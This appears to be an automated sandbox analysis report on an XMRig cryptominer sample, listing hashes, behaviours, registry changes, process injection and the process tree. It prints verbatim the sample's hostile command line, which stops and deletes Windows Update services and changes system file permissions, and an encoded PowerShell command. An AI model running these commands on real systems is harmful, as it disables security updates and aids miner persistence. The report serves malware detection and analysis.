xmrig | a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7

Analysis

max time kernel
151s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
10-11-2022 18:59

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General

Target

file.exe
Size

2.5MB
MD5

3db308a4a293420df30a444944f2ccb6
SHA1

4cae8d8a25167bc0ce3e8bfae7ccde1b82f7b0ea
SHA256

a9cd4676ee19c15148cf4590b9f32363bd61ecb3ddfc28673a797e8cf3fda5a7
SHA512

a74aea4470291b28a04d7eff1ec2e00fd5e445f6235c8e266a34f5041c63c875f874a8e66eb8c10ea0a56c7ee2130deaf2addc011959942296b015293f805c79
SSDEEP

49152:BIX8orGKWyNi/abKDNtEgSsoi/hiO0WygnaWjIe1BSORYt3m5rj4A19oo/tGIPIP:bBsi/cKRt1SsoipihWyzcbaqYpm5wA10

Score

10^/10

xmrig discovery evasion exploit miner

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3372-213-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3372-214-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/3372-215-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3372-216-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3372-230-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/3372-232-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

3008 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

644 takeown.exe
776 icacls.exe
3512 takeown.exe
5040 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

776 icacls.exe
3512 takeown.exe
5040 icacls.exe
644 takeown.exe

pid	process
3008	updater.exe

pid	process
644	takeown.exe
776	icacls.exe
3512	takeown.exe
5040	icacls.exe

pid	process
776	icacls.exe
3512	takeown.exe
5040	icacls.exe
644	takeown.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

conhost.exe

description pid process target process

PID 3760 set thread context of 3372 3760 conhost.exe notepad.exe

description	pid	process	target process
PID 3760 set thread context of 3372	3760	conhost.exe	notepad.exe

Drops file in Program Files directory 3 IoCs

Processes:

powershell.execonhost.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4260 sc.exe
2972 sc.exe
2484 sc.exe
1956 sc.exe
392 sc.exe
4552 sc.exe
3156 sc.exe
4044 sc.exe
2080 sc.exe
492 sc.exe

pid	process
4260	sc.exe
2972	sc.exe
2484	sc.exe
1956	sc.exe
392	sc.exe
4552	sc.exe
3156	sc.exe
4044	sc.exe
2080	sc.exe
492	sc.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.execonhost.exenotepad.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	notepad.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
3636	reg.exe
3744	reg.exe
1152	reg.exe
3048	reg.exe
3908	reg.exe
2956	reg.exe
4108	reg.exe
3492	reg.exe
3584	reg.exe
448	reg.exe
1672	reg.exe
3252	reg.exe
5032	reg.exe
2908	reg.exe
1976	reg.exe
2372	reg.exe
2436	reg.exe
3092	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.exepowershell.EXEpowershell.execonhost.exenotepad.exe

pid	process
2292	powershell.exe
2292	powershell.exe
1124	conhost.exe
4472	powershell.exe
4472	powershell.exe
4264	powershell.EXE
4264	powershell.EXE
1696	powershell.exe
1696	powershell.exe
3760	conhost.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe
3372	notepad.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	1124	conhost.exe
Token: SeShutdownPrivilege	3572	powercfg.exe
Token: SeCreatePagefilePrivilege	3572	powercfg.exe
Token: SeShutdownPrivilege	1316	powercfg.exe
Token: SeCreatePagefilePrivilege	1316	powercfg.exe
Token: SeShutdownPrivilege	3916	powercfg.exe
Token: SeCreatePagefilePrivilege	3916	powercfg.exe
Token: SeShutdownPrivilege	764	powercfg.exe
Token: SeCreatePagefilePrivilege	764	powercfg.exe
Token: SeTakeOwnershipPrivilege	644	takeown.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeIncreaseQuotaPrivilege	4472	powershell.exe
Token: SeSecurityPrivilege	4472	powershell.exe
Token: SeTakeOwnershipPrivilege	4472	powershell.exe
Token: SeLoadDriverPrivilege	4472	powershell.exe
Token: SeSystemProfilePrivilege	4472	powershell.exe
Token: SeSystemtimePrivilege	4472	powershell.exe
Token: SeProfSingleProcessPrivilege	4472	powershell.exe
Token: SeIncBasePriorityPrivilege	4472	powershell.exe
Token: SeCreatePagefilePrivilege	4472	powershell.exe
Token: SeBackupPrivilege	4472	powershell.exe
Token: SeRestorePrivilege	4472	powershell.exe
Token: SeShutdownPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeSystemEnvironmentPrivilege	4472	powershell.exe
Token: SeRemoteShutdownPrivilege	4472	powershell.exe
Token: SeUndockPrivilege	4472	powershell.exe
Token: SeManageVolumePrivilege	4472	powershell.exe
Token: 33	4472	powershell.exe
Token: 34	4472	powershell.exe
Token: 35	4472	powershell.exe
Token: 36	4472	powershell.exe
Token: SeIncreaseQuotaPrivilege	4472	powershell.exe
Token: SeSecurityPrivilege	4472	powershell.exe
Token: SeTakeOwnershipPrivilege	4472	powershell.exe
Token: SeLoadDriverPrivilege	4472	powershell.exe
Token: SeSystemProfilePrivilege	4472	powershell.exe
Token: SeSystemtimePrivilege	4472	powershell.exe
Token: SeProfSingleProcessPrivilege	4472	powershell.exe
Token: SeIncBasePriorityPrivilege	4472	powershell.exe
Token: SeCreatePagefilePrivilege	4472	powershell.exe
Token: SeBackupPrivilege	4472	powershell.exe
Token: SeRestorePrivilege	4472	powershell.exe
Token: SeShutdownPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeSystemEnvironmentPrivilege	4472	powershell.exe
Token: SeRemoteShutdownPrivilege	4472	powershell.exe
Token: SeUndockPrivilege	4472	powershell.exe
Token: SeManageVolumePrivilege	4472	powershell.exe
Token: 33	4472	powershell.exe
Token: 34	4472	powershell.exe
Token: 35	4472	powershell.exe
Token: 36	4472	powershell.exe
Token: SeIncreaseQuotaPrivilege	4472	powershell.exe
Token: SeSecurityPrivilege	4472	powershell.exe
Token: SeTakeOwnershipPrivilege	4472	powershell.exe
Token: SeLoadDriverPrivilege	4472	powershell.exe
Token: SeSystemProfilePrivilege	4472	powershell.exe
Token: SeSystemtimePrivilege	4472	powershell.exe
Token: SeProfSingleProcessPrivilege	4472	powershell.exe
Token: SeIncBasePriorityPrivilege	4472	powershell.exe
Token: SeCreatePagefilePrivilege	4472	powershell.exe
Token: SeBackupPrivilege	4472	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.execonhost.execmd.execmd.exepowershell.EXE

description	pid	process	target process
PID 2816 wrote to memory of 1124	2816	file.exe	conhost.exe
PID 2816 wrote to memory of 1124	2816	file.exe	conhost.exe
PID 2816 wrote to memory of 1124	2816	file.exe	conhost.exe
PID 1124 wrote to memory of 2292	1124	conhost.exe	powershell.exe
PID 1124 wrote to memory of 2292	1124	conhost.exe	powershell.exe
PID 1124 wrote to memory of 3684	1124	conhost.exe	cmd.exe
PID 1124 wrote to memory of 3684	1124	conhost.exe	cmd.exe
PID 1124 wrote to memory of 4820	1124	conhost.exe	cmd.exe
PID 1124 wrote to memory of 4820	1124	conhost.exe	cmd.exe
PID 3684 wrote to memory of 392	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 392	3684	cmd.exe	sc.exe
PID 4820 wrote to memory of 3572	4820	cmd.exe	powercfg.exe
PID 4820 wrote to memory of 3572	4820	cmd.exe	powercfg.exe
PID 3684 wrote to memory of 2080	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 2080	3684	cmd.exe	sc.exe
PID 4820 wrote to memory of 1316	4820	cmd.exe	powercfg.exe
PID 4820 wrote to memory of 1316	4820	cmd.exe	powercfg.exe
PID 3684 wrote to memory of 4552	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 4552	3684	cmd.exe	sc.exe
PID 4820 wrote to memory of 3916	4820	cmd.exe	powercfg.exe
PID 4820 wrote to memory of 3916	4820	cmd.exe	powercfg.exe
PID 3684 wrote to memory of 4260	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 4260	3684	cmd.exe	sc.exe
PID 4820 wrote to memory of 764	4820	cmd.exe	powercfg.exe
PID 4820 wrote to memory of 764	4820	cmd.exe	powercfg.exe
PID 3684 wrote to memory of 492	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 492	3684	cmd.exe	sc.exe
PID 3684 wrote to memory of 2436	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 2436	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3048	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3048	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3908	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3908	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3092	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3092	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 448	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 448	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 644	3684	cmd.exe	takeown.exe
PID 3684 wrote to memory of 644	3684	cmd.exe	takeown.exe
PID 1124 wrote to memory of 4472	1124	conhost.exe	powershell.exe
PID 1124 wrote to memory of 4472	1124	conhost.exe	powershell.exe
PID 3684 wrote to memory of 776	3684	cmd.exe	icacls.exe
PID 3684 wrote to memory of 776	3684	cmd.exe	icacls.exe
PID 3684 wrote to memory of 2908	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 2908	3684	cmd.exe	reg.exe
PID 4264 wrote to memory of 3008	4264	powershell.EXE	updater.exe
PID 4264 wrote to memory of 3008	4264	powershell.EXE	updater.exe
PID 3684 wrote to memory of 1672	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 1672	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3636	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 3636	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 2956	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 2956	3684	cmd.exe	reg.exe
PID 3684 wrote to memory of 1400	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 1400	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 3464	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 3464	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 4752	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 4752	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 2768	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 2768	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 3244	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 3244	3684	cmd.exe	schtasks.exe
PID 3684 wrote to memory of 4732	3684	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2816

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\file.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAcABpAGgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBvAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwBwAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgB0ACMAPgA="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2292

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:392

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:2080

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:4552

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:4260

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:492

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:2436

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:3048

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:3908

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:3092

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:448

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:644

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:776

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:2908

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1672

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:3636

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:2956

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1400

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:3464

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:4752

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:2768

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:3244

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:4732

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:4816

C:\Windows\System32\cmd.exe
